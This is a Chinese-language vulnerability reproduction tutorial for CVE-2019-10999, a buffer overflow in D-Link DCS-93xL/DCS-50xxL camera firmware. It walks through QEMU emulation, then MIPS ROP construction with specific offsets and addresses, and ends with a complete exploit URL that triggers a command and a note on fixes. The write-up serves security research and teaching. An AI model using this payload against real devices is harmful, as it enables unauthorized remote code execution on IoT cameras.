CVE-2019-10999复现
字数 1289 2025-08-27 12:33:37
CVE-2019-10999漏洞分析与复现教程
漏洞概述
CVE-2019-10999是Dlink DCS-93xL、DCS-50xxL系列摄像头中存在的一个缓冲区溢出漏洞。该漏洞存在于设备的alphapd服务中,当处理wireless.htm页面时,对WEPEncryption参数值未进行长度检查,导致缓冲区溢出,攻击者可利用此漏洞执行任意命令。
漏洞影响范围
- 受影响设备:Dlink DCS-93xL、DCS-50xxL系列摄像头
- 受影响固件版本:所有版本
漏洞分析
漏洞位置
漏洞位于alphapd服务中处理wireless.htm页面的功能模块。当URL中包含WEPEncryption参数时,服务会将用户传入的值复制到固定大小的缓冲区中,但没有进行长度检查。
技术细节
- 溢出点:buf和返回地址ra之间相差0x28个字节
- 攻击向量:通过构造特制的WEPEncryption参数值,可以覆盖返回地址
- 利用条件:需要能够向设备发送HTTP请求
环境搭建与复现
准备工作
- 获取固件:DCS-932L v1.14.04
- 解包固件
- 安装必要工具:
- IDA Pro(用于逆向分析)
- QEMU(用于模拟MIPS环境)
- GDB(用于调试)
模拟运行alphapd服务
由于模拟环境缺少NVRAM配置,需要使用nvram-faker构建劫持库:
git clone https://github.com/zcutlip/nvram-faker.git
提取默认配置
grep -rin --color "SecondHTTPPortEnable"
cat etc_ro/Wireless/RT2860AP/RT2860_default_vlan > nvram.ini
cp nvram.ini ~/nvram-faker
编译库文件
./buildmipsel.sh
解决运行问题
-
创建必要的pid文件:
mkdir -p cpio-root/var/run touch cpio-root/var/run/alphapd.pid touch cpio-root/var/run/nvramd.pid -
解决随机数设备问题:
sudo chroot . /bin/mknod -m 0666 /dev/random c 1 8 sudo chroot . /bin/mknod -m 0666 /dev/urandom c 1 9 -
设置环境变量:
touch .rnd export HOME=. export RANDFILE=$HOME/.rnd -
绕过IP获取问题:修改代码跳过GPIO设备接口检查
启动服务
sudo chroot . ./qemu-mipsel-static -E LD_PRELOAD="./libnvram-faker.so" /bin/alphapd
漏洞利用
利用步骤
- 确定lib库基址:0x77ed3000
- 定位system函数地址:0x0004BD20(在libuClibc-0.9.28.so中)
- 内存中的实际地址:0x0004BD20 + 0x77ed3000 = 0x77f1ed20
- 寻找ROP gadget:
- 使用IDA的mipsrop插件查找
- 关键gadget地址:0x00050DE4 + 0x77ed3000 = 0x77f23de4
构造payload
- 填充0x28字节的A
- 覆盖返回地址为ROP gadget地址
- 设置s0寄存器为system地址
- 构造命令字符串
示例payload URL:
http://0.0.0.0:18080/wireless.htm?WEPEncryption=AAAAAAAAAAAAAAAA%20%ed%f1%77AAAAAAAAAAAAAAAAAAAA%e4%3d%f2%77AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBreboot
调试技巧
-
使用gdbserver附加调试:
gdbserver --attach 0.0.0.0:4444 <pid> -
安装pwndbg插件(比peda更适合MIPS架构):
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh -
解决unicorn安装问题:
UNICORN_QEMU_FLAGS="--python=/usr/bin/python2.7" pip install unicorn
实机测试
- 获取早期固件版本(如1.0),其中默认开启telnet服务
- 通过telnet获取库基址
- 构造payload进行测试
对于高版本固件:
- 通过串口调试获取库基址
- 焊接TTL接口进行调试
修复建议
- 对WEPEncryption参数值进行长度检查
- 更新到最新固件版本
- 禁用不必要的服务(如telnet)
总结
CVE-2019-10999是一个典型的缓冲区溢出漏洞,通过精心构造的HTTP请求可以实现远程代码执行。复现过程中主要挑战在于环境搭建和调试,特别是MIPS架构下的ROP链构造。该漏洞的利用展示了物联网设备中常见的安全问题,强调了输入验证和安全编码实践的重要性。